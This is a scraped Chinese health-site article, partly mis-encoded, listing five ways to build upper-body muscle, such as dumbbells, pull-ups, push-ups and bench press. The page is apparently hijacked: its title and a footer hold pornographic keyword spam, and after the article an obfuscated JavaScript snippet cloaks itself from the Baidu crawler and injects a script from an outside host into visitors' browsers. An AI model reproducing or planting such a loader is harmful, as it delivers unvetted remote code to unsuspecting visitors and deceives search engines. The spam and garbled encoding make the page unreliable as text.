久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

怎么鍛煉上半身的肌肉

2017-04-16 22:26:19  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:不管是身材過于瘦弱還是肥胖的朋友,上半身的肌肉都不會(huì)有明顯的線條美感。不是瘦如排骨就是身上的贅肉過多。這個(gè)時(shí)候就需要通過一些相應(yīng)的

不管是身材過于瘦弱還是肥胖的朋友,上半身的肌肉都不會(huì)有明顯的線條美感。不是瘦如排骨就是身上的贅肉過多。這個(gè)時(shí)候就需要通過一些相應(yīng)的運(yùn)動(dòng)來鍛煉出上半身的肌肉,上半身肌肉練成不僅可以顯得強(qiáng)壯,還在運(yùn)動(dòng)的同時(shí)提高了我們的身體素質(zhì),那么要怎么樣來鍛煉上半身肌肉呢?

1、舉啞鈴依然是鍛煉上肢力量的首選方法,最好準(zhǔn)備兩種重量不同的啞鈴,較重的啞鈴可以用來做有針對性的手臂力量訓(xùn)練,比如一組平舉20個(gè),或者一組側(cè)舉20個(gè),每天練習(xí)個(gè)六到七組;較輕的啞鈴可以用來隨時(shí)舉著做一點(diǎn)熱身運(yùn)動(dòng)或者舒展運(yùn)動(dòng)。

2、引體向上也是非常簡單實(shí)用的鍛煉上肢力量的方法,可以每天計(jì)劃做個(gè)三到四組,每組做10-20個(gè)不等,根據(jù)自己可承受數(shù)量調(diào)節(jié),需要注意的是,雙手最好垂直掛于單杠上,做引體向上時(shí)最好下巴過單杠,盡量不要借助下身彈動(dòng)的力量,靠雙臂的力量。

3、做俯臥撐也能夠鍛煉上肢力量,這個(gè)不需要道具,隨時(shí)隨地都可以進(jìn)行,有空的時(shí)候就可以隨時(shí)做幾個(gè),需要注意的是地板過硬可能會(huì)傷到雙掌,所以可以的話盡量避免粗糙的水泥地面,選擇木板地、草地或者膠地。

4、平臥舉杠鈴可以同時(shí)鍛煉上肢力量和胸肌,將杠鈴移至胸口正上方,然后雙手握住杠鈴垂直上舉,可以根據(jù)自己情況安排杠鈴重量、舉重次數(shù)以及組數(shù),效果非常明顯。

5、平常多做一些經(jīng)常揮動(dòng)手臂的運(yùn)動(dòng),比如打棒球、打網(wǎng)球、打壁球、打排球等等,做這些運(yùn)動(dòng)不僅能夠鍛煉上肢力量,還能夠鍛煉自身的靈活性和反應(yīng)能力。

大家只要嚴(yán)格按照文中介紹到的這五種方法,相信就可以練出完美的上半身肌肉。其實(shí)運(yùn)動(dòng)的同時(shí)也加強(qiáng)了下半身肌肉的鍛煉,如果想要運(yùn)動(dòng)鍛煉的效果更加突出,那么可以在鍛煉后多吃一些碳水化合物食物,一些高熱量的飲食也有助于肌肉的生長。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 最新国产在线视频 | 欧美精品二区三区四区免费看视频 | 欧美成人视屏 | 日韩毛片在线免费观看 | 国产精品美女久久久久久久久久久 | 四色成人av永久网址 | 国产精品国产自产拍高清 | 中文字幕在线亚洲 | 国产精品美女一区二区三区 | 福利网站在线观看 | 超碰天堂| 热久久这里只有精品 | 久久综合狠狠综合久久综合88 | 日本xxxxxxx | 成人免费小视频 | 精品国产一区在线 | 久久久久久久影院 | 婷婷色综合色 | 91色在线观看 | 久久综合久久久 | 三级视频网站在线观看 | 亚洲天堂久 | 色呦呦在线观看视频 | 亚洲精品一区二区三区在线 | 国产极品美女高潮无套av个 | 超碰在线播 | 日韩精品视频在线播放 | 精品国产免费久久久久久尖叫 | 中文在线一区二区 | 亚洲人成网亚洲欧洲无码 | 9se成人免费网站 | 蜜桃久久av | 欧美.com | 精品亚洲一区二区三区在线观看 | 亚洲视频1区 | √新版天堂资源在线资源 | 欧美精品一区二区三区在线播放 | 日韩久久影院 | 国产77777 | 免费av片| 特级淫片裸体免费看 |